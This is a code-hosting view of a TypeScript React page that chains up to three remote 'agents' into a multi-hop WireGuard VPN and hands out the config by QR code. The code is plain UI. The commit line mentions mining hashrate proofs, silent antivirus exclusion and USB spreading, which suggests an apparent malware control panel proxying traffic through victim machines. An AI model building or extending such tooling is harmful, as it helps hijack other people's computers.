Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Fix macOS agent cross-compile (SilentAVExclusion) and Calibrate E2E nav selector; expand tests and docs; refresh portable usb binary and spread/wiki assets.
393 lines
14 KiB
TypeScript
393 lines
14 KiB
TypeScript
import { useCallback, useEffect, useRef, useState } from 'react';
|
|
import { api } from '../api/client';
|
|
import { useModalAmbientDuck } from '../context/AmbientMusicContext';
|
|
import { useWebSocket } from '../hooks/useWebSocket';
|
|
import type { Agent, PathTraceHop } from '../types';
|
|
import { HelpTip } from '../components/HelpTip';
|
|
import './PathTracerPage.css';
|
|
|
|
// ── types ─────────────────────────────────────────────────────────────────────
|
|
|
|
interface TraceStatus {
|
|
session_id: string;
|
|
ready: boolean;
|
|
error?: string;
|
|
hops: PathTraceHop[];
|
|
}
|
|
|
|
interface QRData {
|
|
config: string;
|
|
qr_png_b64: string;
|
|
}
|
|
|
|
// ── helpers ───────────────────────────────────────────────────────────────────
|
|
|
|
function HopStatusBadge({ status }: { status: PathTraceHop['status'] }) {
|
|
return <span className={`pt-hop-status ${status}`}>{status}</span>;
|
|
}
|
|
|
|
// ── QR Modal ──────────────────────────────────────────────────────────────────
|
|
|
|
function QRModal({
|
|
qr,
|
|
onClose,
|
|
onEnd,
|
|
}: {
|
|
qr: QRData;
|
|
onClose: () => void;
|
|
onEnd: () => void;
|
|
}) {
|
|
useModalAmbientDuck(true);
|
|
const [copied, setCopied] = useState(false);
|
|
|
|
const handleCopy = () => {
|
|
navigator.clipboard.writeText(qr.config).then(() => {
|
|
setCopied(true);
|
|
setTimeout(() => setCopied(false), 1500);
|
|
});
|
|
};
|
|
|
|
const handleDownload = () => {
|
|
const blob = new Blob([qr.config], { type: 'text/plain' });
|
|
const url = URL.createObjectURL(blob);
|
|
const a = document.createElement('a');
|
|
a.href = url;
|
|
a.download = 'pathtrace.conf';
|
|
a.click();
|
|
URL.revokeObjectURL(url);
|
|
};
|
|
|
|
return (
|
|
<div className="pt-modal-backdrop" onClick={(e) => e.target === e.currentTarget && onClose()}>
|
|
<div className="pt-modal">
|
|
<div className="pt-modal-title">⬡ PATH TRACE ACTIVE</div>
|
|
|
|
<div className="pt-qr-wrap">
|
|
<img
|
|
className="pt-qr-img"
|
|
src={`data:image/png;base64,${qr.qr_png_b64}`}
|
|
alt="WireGuard QR"
|
|
/>
|
|
</div>
|
|
|
|
<p className="pt-hint">
|
|
Scan with the <strong>WireGuard</strong> app on your phone,<br />
|
|
or download the .conf file and import it.
|
|
</p>
|
|
|
|
<pre className="pt-config-box">{qr.config}</pre>
|
|
|
|
<div className="pt-modal-actions">
|
|
<button className="pt-btn pt-btn-primary" onClick={handleCopy}>
|
|
{copied ? '✓ Copied' : 'Copy Config'}
|
|
</button>
|
|
<button className="pt-btn pt-btn-ghost" onClick={handleDownload}>
|
|
Download .conf
|
|
</button>
|
|
<button
|
|
className="pt-btn pt-btn-danger"
|
|
onClick={() => { onEnd(); onClose(); }}
|
|
style={{ marginLeft: 'auto' }}
|
|
>
|
|
End Session
|
|
</button>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
);
|
|
}
|
|
|
|
// ── main component ────────────────────────────────────────────────────────────
|
|
|
|
export default function PathTracerPage() {
|
|
const { agents: wsAgents } = useWebSocket();
|
|
const [restAgents, setRestAgents] = useState<Agent[]>([]);
|
|
const [selected, setSelected] = useState<string[]>([]); // ordered chain
|
|
const [loading, setLoading] = useState(false);
|
|
const [error, setError] = useState('');
|
|
|
|
const [sessionID, setSessionID] = useState('');
|
|
const [hops, setHops] = useState<PathTraceHop[]>([]);
|
|
const [tracing, setTracing] = useState(false);
|
|
const [qr, setQR] = useState<QRData | null>(null);
|
|
const [showQR, setShowQR] = useState(false);
|
|
|
|
const pollRef = useRef<ReturnType<typeof setInterval> | null>(null);
|
|
|
|
// Use WebSocket agents; fall back to REST on mount if WebSocket hasn't populated yet.
|
|
const agents = wsAgents.length > 0 ? wsAgents : restAgents;
|
|
|
|
useEffect(() => {
|
|
api.listAgents().then(setRestAgents).catch(() => {});
|
|
}, []);
|
|
|
|
// Stop polling on unmount.
|
|
useEffect(() => () => { if (pollRef.current) clearInterval(pollRef.current); }, []);
|
|
|
|
const toggleAgent = (id: string, offline: boolean) => {
|
|
if (offline) return;
|
|
if (tracing) return; // don't let selection change while tracing
|
|
setSelected((prev) => {
|
|
if (prev.includes(id)) return prev.filter((x) => x !== id);
|
|
if (prev.length >= 3) return prev; // max 3 hops
|
|
return [...prev, id];
|
|
});
|
|
};
|
|
|
|
const handleTrace = useCallback(async () => {
|
|
if (selected.length === 0) return;
|
|
setError('');
|
|
setLoading(true);
|
|
setTracing(true);
|
|
setHops([]);
|
|
setQR(null);
|
|
try {
|
|
const res = await api.startTrace(selected);
|
|
setSessionID(res.session_id);
|
|
setHops(res.hops);
|
|
startPolling(res.session_id);
|
|
} catch (e: unknown) {
|
|
setError(e instanceof Error ? e.message : 'Trace failed');
|
|
setTracing(false);
|
|
} finally {
|
|
setLoading(false);
|
|
}
|
|
}, [selected]);
|
|
|
|
const startPolling = (sid: string) => {
|
|
if (pollRef.current) clearInterval(pollRef.current);
|
|
pollRef.current = setInterval(async () => {
|
|
try {
|
|
const status: TraceStatus = await api.getTraceStatus(sid);
|
|
setHops(status.hops);
|
|
if (status.error) {
|
|
setError(status.error);
|
|
clearInterval(pollRef.current!);
|
|
pollRef.current = null;
|
|
setTracing(false);
|
|
return;
|
|
}
|
|
if (status.ready) {
|
|
try {
|
|
const qrData = await api.getTraceQR(sid);
|
|
clearInterval(pollRef.current!);
|
|
pollRef.current = null;
|
|
setQR(qrData);
|
|
setShowQR(true);
|
|
} catch (e: unknown) {
|
|
setError(e instanceof Error ? e.message : 'Failed to load QR config');
|
|
}
|
|
return;
|
|
}
|
|
} catch {
|
|
// Ignore transient status poll errors
|
|
}
|
|
}, 2000);
|
|
};
|
|
|
|
const handleEndSession = useCallback(async () => {
|
|
if (!sessionID) return;
|
|
try {
|
|
await api.deleteTrace(sessionID);
|
|
} catch {
|
|
// best-effort
|
|
}
|
|
if (pollRef.current) { clearInterval(pollRef.current); pollRef.current = null; }
|
|
setSessionID('');
|
|
setHops([]);
|
|
setTracing(false);
|
|
setQR(null);
|
|
setSelected([]);
|
|
setError('');
|
|
}, [sessionID]);
|
|
|
|
const isWindows = (a: Agent) =>
|
|
!!(a.platform?.toLowerCase().includes('win') || a.platform?.toLowerCase().includes('windows'));
|
|
|
|
const onlineAgents = agents.filter((a) => a.status === 'online');
|
|
const offlineAgents = agents.filter((a) => a.status !== 'online');
|
|
|
|
const allHopsReady = hops.length > 0 && hops.every((h) => h.status === 'ready');
|
|
|
|
return (
|
|
<div className="pathtrace-page operator-deck-page">
|
|
{/* Header */}
|
|
<div className="pt-header">
|
|
<div>
|
|
<div className="pt-title">⬡ Path Tracer <HelpTip field="pt_path_tracer" /></div>
|
|
<div className="pt-subtitle">
|
|
Build an on-demand multi-hop WireGuard VPN — select up to 3 agents, click TRACE.
|
|
</div>
|
|
</div>
|
|
</div>
|
|
|
|
{error && <div className="pt-error-banner">⚠ {error}</div>}
|
|
|
|
{tracing && !allHopsReady && !error && (
|
|
<div className="pt-info-banner">
|
|
<span className="pt-spinner" />
|
|
Orchestrating tunnel — waiting for agents to configure WireGuard…
|
|
</div>
|
|
)}
|
|
|
|
<div className="pt-body">
|
|
{/* Left: agent selection */}
|
|
<div>
|
|
<div className="pt-section-label">
|
|
Online agents — click to add to chain (max 3) <HelpTip field="pt_agent_chain" />
|
|
</div>
|
|
<div className="pt-section-panel">
|
|
{onlineAgents.length === 0 && (
|
|
<div className="pt-chain-empty">No online agents found.</div>
|
|
)}
|
|
<div className="pt-agent-grid">
|
|
{onlineAgents.map((a) => {
|
|
const idx = selected.indexOf(a.id);
|
|
const isSelected = idx >= 0;
|
|
const winOnly = isWindows(a);
|
|
return (
|
|
<div
|
|
key={a.id}
|
|
className={`pt-agent-card${isSelected ? ' selected' : ''}`}
|
|
onClick={() => winOnly ? toggleAgent(a.id, false) : undefined}
|
|
title={!winOnly ? 'WireGuard Path Tracer requires a Windows agent' : undefined}
|
|
style={!winOnly ? { opacity: 0.5, cursor: 'not-allowed' } : undefined}
|
|
>
|
|
{isSelected && (
|
|
<span className="pt-agent-card-order">{idx + 1}</span>
|
|
)}
|
|
<div className="pt-agent-name">
|
|
<span className="pt-agent-status-dot online" />
|
|
{a.name}
|
|
</div>
|
|
<div className="pt-agent-ip">{a.ip || '—'}</div>
|
|
{!winOnly && (
|
|
<div style={{ fontSize: '0.6rem', color: '#ff8800', fontFamily: 'monospace', marginTop: '0.15rem' }}>
|
|
non-Windows
|
|
</div>
|
|
)}
|
|
</div>
|
|
);
|
|
})}
|
|
{offlineAgents.map((a) => (
|
|
<div key={a.id} className="pt-agent-card offline">
|
|
<div className="pt-agent-name">
|
|
<span className="pt-agent-status-dot offline" />
|
|
{a.name}
|
|
</div>
|
|
<div className="pt-agent-ip">offline</div>
|
|
</div>
|
|
))}
|
|
</div>
|
|
</div>
|
|
</div>
|
|
|
|
{/* Right: chain + controls */}
|
|
<div className="pt-sidebar">
|
|
{/* Chain visualizer */}
|
|
<div className="pt-chain-panel">
|
|
<div className="pt-chain-title">VPN Chain</div>
|
|
{selected.length === 0 ? (
|
|
<div className="pt-chain-empty">No hops selected yet.</div>
|
|
) : (
|
|
<div className="pt-chain-row">
|
|
{/* Phone icon */}
|
|
<div className="pt-chain-hop" style={{ marginBottom: '0.15rem' }}>
|
|
<span style={{ fontSize: '0.7rem', color: '#888', fontFamily: 'monospace' }}>
|
|
📱 Your Phone
|
|
</span>
|
|
</div>
|
|
|
|
{selected.map((id, i) => {
|
|
const agent = agents.find((a) => a.id === id);
|
|
const hop = hops.find((h) => h.agent_id === id);
|
|
return (
|
|
<div key={id}>
|
|
<div className="pt-chain-arrow">▼</div>
|
|
<div className="pt-chain-hop">
|
|
<div className="pt-chain-hop-badge">{i + 1}</div>
|
|
<span className="pt-chain-hop-name">
|
|
{agent?.name ?? id.slice(0, 8)}
|
|
</span>
|
|
{hop && <HopStatusBadge status={hop.status} />}
|
|
</div>
|
|
{hop?.external_ip && (
|
|
<div style={{ fontSize: '0.6rem', color: '#00ffaa66', paddingLeft: '30px', fontFamily: 'monospace' }}>
|
|
{hop.external_ip}:{hop.port}
|
|
</div>
|
|
)}
|
|
{hop?.error && (
|
|
<div style={{ fontSize: '0.6rem', color: '#ff5050', paddingLeft: '30px', fontFamily: 'monospace' }}>
|
|
{hop.error}
|
|
</div>
|
|
)}
|
|
</div>
|
|
);
|
|
})}
|
|
|
|
<div className="pt-chain-arrow">▼</div>
|
|
<div className="pt-chain-hop">
|
|
<span style={{ fontSize: '0.7rem', color: '#888', fontFamily: 'monospace' }}>
|
|
🌐 Internet
|
|
</span>
|
|
</div>
|
|
</div>
|
|
)}
|
|
</div>
|
|
|
|
{/* Controls */}
|
|
<div className="pt-actions">
|
|
{!tracing && (
|
|
<button
|
|
className="pt-btn pt-btn-primary"
|
|
disabled={selected.length === 0 || loading}
|
|
onClick={handleTrace}
|
|
>
|
|
{loading ? <><span className="pt-spinner" />Building…</> : '⬡ TRACE'}
|
|
</button>
|
|
)}
|
|
|
|
{tracing && allHopsReady && qr && (
|
|
<button className="pt-btn pt-btn-primary" onClick={() => setShowQR(true)}>
|
|
Show QR Code
|
|
</button>
|
|
)}
|
|
|
|
{tracing && (
|
|
<button className="pt-btn pt-btn-danger" onClick={handleEndSession}>
|
|
End Session
|
|
</button>
|
|
)}
|
|
|
|
{!tracing && selected.length > 0 && (
|
|
<button className="pt-btn pt-btn-ghost" onClick={() => setSelected([])}>
|
|
Clear
|
|
</button>
|
|
)}
|
|
</div>
|
|
|
|
{/* Max hop hint */}
|
|
{selected.length >= 3 && !tracing && (
|
|
<div className="pt-hint">Max 3 hops reached.</div>
|
|
)}
|
|
|
|
{allHopsReady && (
|
|
<div className="pt-info-banner">
|
|
✓ All hops ready — tunnel is active.
|
|
</div>
|
|
)}
|
|
</div>
|
|
</div>
|
|
|
|
{/* QR Modal */}
|
|
{showQR && qr && (
|
|
<QRModal
|
|
qr={qr}
|
|
onClose={() => setShowQR(false)}
|
|
onEnd={handleEndSession}
|
|
/>
|
|
)}
|
|
</div>
|
|
);
|
|
}
|